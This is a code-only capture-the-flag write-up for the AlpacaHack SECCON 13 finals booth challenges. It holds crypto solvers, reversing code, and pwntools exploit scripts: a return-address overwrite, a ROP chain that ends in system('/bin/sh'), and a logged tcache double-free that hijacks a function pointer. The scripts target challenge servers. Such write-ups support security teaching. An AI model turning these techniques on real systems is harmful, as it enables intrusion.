AlpacaHack seccon-13-finals-booth Writeup

from Crypto.Util.number import long_to_bytes print(long_to_bytes(35774448546064092714087589436978998345509619953776036875880600864948129648958547184607421789929097085))

printf("%x",539232261)

// solver.js function findPair() { for (let exp = 20; exp <= 22; exp++) { for (let m1 = -9; m1 <= -1; m1++) { for (let m2 = -9; m2 <= -1; m2++) { let a = m1 * Math.pow(10, exp); let b = m2 * Math.pow(10, exp - 1); if (a < b && parseInt(a) > parseInt(b)) { return { a, b }; } } } } return null; } const pair = findPair(); if (pair) { console.log("Found valid pair:"); console.log("a =", pair.a); console.log("b =", pair.b); console.log("a.toString() =", pair.a.toString()); console.log("b.toString() =", pair.b.toString()); console.log("parseInt(a) =", parseInt(pair.a)); console.log("parseInt(b) =", parseInt(pair.b)); } else { console.log("No valid pair found."); }

from Crypto.Util.number import long_to_bytes, inverse n = 272361880253535445317143279209232620259509770172080133049487958853930525983846305005657 c = 69147423377323669983172806367084358432369489877851180970277804462365354019444586165184 e = 65537 def integer_cube_root(n): lo, hi = 0, n while lo <= hi: mid = (lo + hi) // 2 cube = mid * mid * mid if cube == n: return mid elif cube < n: lo = mid + 1 else: hi = mid - 1 return hi p = integer_cube_root(n) assert p**3 == n, "n is not a perfect cube!" print(f"Found p: {p}") phi_n = p * p * (p - 1) d = inverse(e, phi_n) m = pow(c, d, n) flag = long_to_bytes(m) print("FLAG:", flag.decode())

from pwn import * import sys e = ELF("buffer-overflow",checksec=False) libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6",checksec=False) ld = ELF("/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2",checksec=False) nc = "nc 34.170.146.252 24310" HOST = nc.split(" ")[1] PORT = int(nc.split(" ")[2]) dbg = 1 g_script = """ set max-visualize-chunk-size 0x300 """ context.binary = e if len(sys.argv) > 1: io = remote(host=HOST,port=PORT) else: io = e.process() if dbg: gdb.attach(io,g_script) s = lambda b: io.send(b) sa = lambda a,b: io.sendafter(a,b) sl = lambda b: io.sendline(b) sla = lambda a,b: io.sendlineafter(a,b) r = lambda : io.recv() ru = lambda b:io.recvuntil(b) rl = lambda : io.recvline() pu32= lambda b : u32(b.ljust(4,b"\0")) pu64= lambda b : u64(b.ljust(8,b"\0")) hlog= lambda i : print(f"[*]{hex(i)}") shell = lambda : io.interactive() payload = b"" def pay64(adr:int):global payload;payload = p64(adr) def add64(adr:int):global payload;payload+= p64(adr) def paybyte(data:bytes):global payload;payload = data def addbyte(data:bytes):global payload;payload+= data ru(b"address of print_flag func: ") print_flag = int(rl().strip(),16) paybyte(b"A"*0x8) add64(print_flag) sl(payload) shell()

scanf("%4s", &number); if (number == 12345) { print_flag(); }

from pwn import * import sys e = ELF("memory",checksec=False) libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6",checksec=False) ld = ELF("/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2",checksec=False) nc = "nc 34.170.146.252 57944" HOST = nc.split(" ")[1] PORT = int(nc.split(" ")[2]) dbg = 1 g_script = """ #set max-visualize-chunk-size 0x300 b *main+86 """ context.binary = e if len(sys.argv) > 1: io = remote(host=HOST,port=PORT) else: io = e.process() if dbg: gdb.attach(io,g_script) s = lambda b: io.send(b) sa = lambda a,b: io.sendafter(a,b) sl = lambda b: io.sendline(b) sla = lambda a,b: io.sendlineafter(a,b) r = lambda : io.recv() ru = lambda b:io.recvuntil(b) rl = lambda : io.recvline() pu32= lambda b : u32(b.ljust(4,b"\0")) pu64= lambda b : u64(b.ljust(8,b"\0")) hlog= lambda i : print(f"[*]{hex(i)}") shell = lambda : io.interactive() payload = b"" def pay64(adr:int):global payload;payload = p64(adr) def add64(adr:int):global payload;payload+= p64(adr) def paybyte(data:bytes):global payload;payload = data def addbyte(data:bytes):global payload;payload+= data sl(b"\x39\x30\x00\x00") shell()

from Crypto.Util.number import long_to_bytes res = [3 ,23 ,2205496470181 ,2219555763769 ,2233425033163 ,2239061295271 ,2259023796727 ,2284404776567 ,2291370145123 ,2416633488457 ,2419508288471 ,2434758174067 ,2500841090549 ,2503738093453 ,2573045476847 ,2680923822481 ,2778916602433 ,2788061078027 ,2796482148853 ,2874516939989 ,3132015040537 ,3139228584347 ,3155640636023 ,3194390562137 ,3284689931333 ,3395646793247 ,3450918694961 ,3542857468897 ,3558548169959 ,3723346041941 ,3734921299007 ,3741754738429 ,3881331302137 ,3955397572079 ,3975840251293 ,4072584462841 ,4130457980197 ,4158189715259 ,4194605058227 ,4207350753019 ,4244137496801 ,4299476105167 ,4327600625807 ,4333485694679 ,64527453873583290390233 ,360296424708927327075211324489217] flag = 1 for r in res: if r.bit_length() != 42: flag *= r print(long_to_bytes(flag))

BITS 64 global main extern printf section .rodata LC0: db "Alpaca{%s}", 10, 0 section .text f: push rbp mov rbp, rsp mov qword [rbp-24], rdi mov dword [rbp-4], 0 jmp .L2 .L4: mov eax, dword [rbp-4] movsx rdx, eax mov rax, qword [rbp-24] add rax, rdx movzx eax, byte [rax] cmp al, 64 jle .L3 mov eax, dword [rbp-4] movsx rdx, eax mov rax, qword [rbp-24] add rax, rdx movzx eax, byte [rax] cmp al, 90 jg .L3 mov eax, dword [rbp-4] movsx rdx, eax mov rax, qword [rbp-24] add rax, rdx movzx eax, byte [rax] movsx eax, al lea edx, [rax-65] mov eax, dword [rbp-4] add eax, 13 add eax, edx movsx rdx, eax imul rdx, rdx, 1321528399 shr rdx, 32 sar edx, 3 mov ecx, eax sar ecx, 31 sub edx, ecx imul ecx, edx, 26 sub eax, ecx mov edx, eax mov eax, edx lea ecx, [rax+65] mov eax, dword [rbp-4] movsx rdx, eax mov rax, qword [rbp-24] add rax, rdx mov edx, ecx mov byte [rax], dl .L3: add dword [rbp-4], 1 .L2: mov eax, dword [rbp-4] movsx rdx, eax mov rax, qword [rbp-24] add rax, rdx movzx eax, byte [rax] test al, al jne .L4 nop nop pop rbp ret main: push rbp mov rbp, rsp sub rsp, 16 mov dword [rbp-7], 1197424961 mov dword [rbp-4], 4672071 lea rax, [rbp-7] mov rdi, rax call f lea rax, [rbp-7] mov rsi, rax mov rdi, LC0 xor eax, eax call printf xor eax, eax leave ret

nasm -f elf64 tmp.asm -o challenge.o

[~] >>>nc 34.170.146.252 45969 address of print_flag: 0x40222e address of funcptr: 0x405150 opcode(0: alloc, 1: free): 0 data(integer): 0 content of funcptr: 0x4022a2 Cache: (nil) Buffer: buf[0]: 0x4051a0 (val: 0x0) opcode(0: alloc, 1: free): 1 what index to free: 0 content of funcptr: 0x4022a2 Cache: 0x4051a0 -> (nil) Buffer: buf[0]: 0x4051a0 (val: 0x0) opcode(0: alloc, 1: free): 1 what index to free: 0 content of funcptr: 0x4022a2 Cache: 0x4051a0 -> 0x4051a0 -> 0x4051a0 -> 0x4051a0 -> 0x4051a0 -> ... Buffer: buf[0]: 0x4051a0 (val: 0x4051a0) opcode(0: alloc, 1: free): 0 data(integer): 4215120 content of funcptr: 0x4022a2 Cache: 0x4051a0 -> 0x405150 Buffer: buf[0]: 0x4051a0 (val: 0x405150) opcode(0: alloc, 1: free): 0 data(integer): 4203054 content of funcptr: 0x4022a2 Cache: 0x405150 Buffer: buf[0]: 0x4051a0 (val: 0x40222e) opcode(0: alloc, 1: free): 0 data(integer): 4203054 content of funcptr: 0x40222e Alpaca{***REDACTED***} opcode(0: alloc, 1: free): ^C

#include <iostream> #include <vector> #include <cstdlib> #include <chrono> #include <thread> #include <string> using namespace std; using namespace std::chrono; int main() { srand(0xDEADBEEF); string secretStr = "@msgmsm\021\021\027Xb\177\061z\f~~Qv\025RzvuZy\002w\025kNH[4H\r^\026\020PP\345\367\377\177"; const int vecSize = 42; vector<char> vec(vecSize); for (int i = 0; i < vecSize; i++) { vec[i] = secretStr[i % secretStr.size()]; } cout << "flag: " << flush; auto prevTime = system_clock::now(); long long v14 = 1; for (int i = 0; i < vecSize; ++i) { int sleepSeconds = rand() % v14 + 1; long long elapsedMillis = static_cast<long long>(sleepSeconds) * 1000; int mask = ((elapsedMillis + 100) / 1000) % 128; char outChar = vec[i] ^ mask; cout << outChar << flush; v14 *= 2; prevTime += seconds(sleepSeconds); } cout << endl; return 0; }

from pwn import * import sys e = ELF("challenge",checksec=False) libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6",checksec=False) ld = ELF("/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2",checksec=False) nc = "nc 34.170.146.252 18911" HOST = nc.split(" ")[1] PORT = int(nc.split(" ")[2]) dbg = 1 g_script = """ set max-visualize-chunk-size 0x300 """ context.binary = e if len(sys.argv) > 1: io = remote(host=HOST,port=PORT) else: io = e.process() if dbg: gdb.attach(io,g_script) s = lambda b: io.send(b) sa = lambda a,b: io.sendafter(a,b) sl = lambda b: io.sendline(b) sla = lambda a,b: io.sendlineafter(a,b) r = lambda : io.recv() ru = lambda b:io.recvuntil(b) rl = lambda : io.recvline() pu32= lambda b : u32(b.ljust(4,b"\0")) pu64= lambda b : u64(b.ljust(8,b"\0")) hlog= lambda i : print(f"[*]{hex(i)}") shell = lambda : io.interactive() payload = b"" def pay64(adr:int):global payload;payload = p64(adr) def add64(adr:int):global payload;payload+= p64(adr) def paybyte(data:bytes):global payload;payload = data def addbyte(data:bytes):global payload;payload+= data writable = 0x0000000000404a00 alpaca = 0x0402004 paybyte(b"alpaca") payload = payload.ljust(0x18,b"\0") add64(alpaca) add64(alpaca) add64(writable) add64(writable) #add64(e.plt["system"]) add64(0x4012da) #gets() @ wakekko sl(payload) paybyte(b"/bin/sh\0") payload = payload.ljust(0x18,b"\0") add64(writable-0x30) add64(writable-0x30) add64(writable-0x40) add64(writable-0x40) add64(0x0401315) #system() @ wakekko sl(payload) print(r()) shell()

set mi-async on set non-stop on